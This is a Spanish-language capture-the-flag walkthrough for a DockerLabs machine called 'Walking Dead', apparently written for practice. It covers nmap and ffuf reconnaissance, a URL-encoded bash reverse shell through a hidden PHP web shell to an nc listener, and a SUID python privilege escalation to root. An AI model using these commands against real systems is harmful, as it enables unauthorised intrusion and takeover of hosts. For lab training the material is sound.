Walking Dead



🚀Preparación del Entorno

El proceso para desplegar las máquinas de DockerLabs es bastante sencillo. Sigue estos pasos:

📌 Paso 1: Descargar el archivo CTF

Descarga el archivo ZIP del CTF que deseas utilizar.

📌 Paso 2: Descomprimir el archivo

Ejecuta el siguiente comando en la terminal:

unzip [nombre].zip

📂 Esto extraerá los siguientes archivos:

📌 Paso 3: Ejecutar el script de despliegue

Para iniciar el despliegue de la máquina virtual, ejecuta:

sudo bash auto_deploy.sh [nombre].tar

🕐 Después de unos minutos, el script te proporcionará la IP de la máquina lista para atacar.


🎯Resolución

🔍 Reconocimiento

Comenzamos realizando un escaneo con Nmap para identificar los puertos abiertos y los servicios disponibles en el objetivo

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

🕵️Análisis de vulnerabilidades

Utilizamos ffuf para descubrir parámetros HTTP que puedan ejecutar comandos:

 ffuf -c -r -t 200 -fc 404 -fs 0 -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -u "http://172.17.0.2/hidden/.shell.php?FUZZ=id"

Explicación de la línea:

Pasted image 20250623190649.png
obtenemos una respuesta válida, lo que confirma que tenemos ejecución remota de comandos (RCE) en el servidor web.


🎯 Explotación

Para facilitar el acceso, usamos la herramienta en línea ReverseShells. Seleccionamos:

En la máquina atacante escuchamos con:

nc -lvnp 9001

Generamos el payload en bash, lo codificamos en URL y lo utilizamos así:

http://172.17.0.2/hidden/.shell.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/172.17.0.1/9001%200%3E%261%22

📸 Conexión exitosa:

Pasted image 20250623192614.png

Para mejorar la experiencia, ejecutamos los siguientes comandos:

script /dev/null -c bash
# Suspender la shell actual:
ctrl+z
# Restauramos la conexión:
stty raw -echo; fg
# Reiniciamos la terminal y configuramos la compatibilidad con xterm:
reset xterm
export TERM=xterm
export SHELL=bash

Si intentamos usar editores como nano, vi o cat, la terminal puede mostrar limitaciones en el tamaño de la pantalla. Para solucionar esto, ajustamos el tamaño de la terminal con los siguientes comandos:

# Abrimos una nueva terminal en el host o máquina atacante y ejecutamos:
stty size
# Ajustamos las filas y columnas de la terminal para que se vean correctamente:
stty rows 52 columns 115


📈 Escalada de privilegios

Una vez con acceso al sistema, buscamos archivos con el bit SUID activado para identificar posibles vectores de escalada local:

find / -type f -perm -4000 2>/dev/null

🔍 Este comando lista archivos ejecutables con permisos de usuario propietario (root) que pueden ser explotados.
🚨 Archivos SUID Interesantes
Pasted image 20250623193035.png
Identificamos que el binario python tiene permisos SUID, lo que significa que se ejecuta con los privilegios del propietario (en este caso, root). Este comportamiento puede ser aprovechado para escalar privilegios a nivel administrador.

🔎 Consultando la página de GTFOBins - python, encontramos una técnica para abusar del SUID y obtener una shell como root.

💣 Ejecutamos el siguiente comando:

/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
¡Ya somos root!

Pasted image 20250623193445.png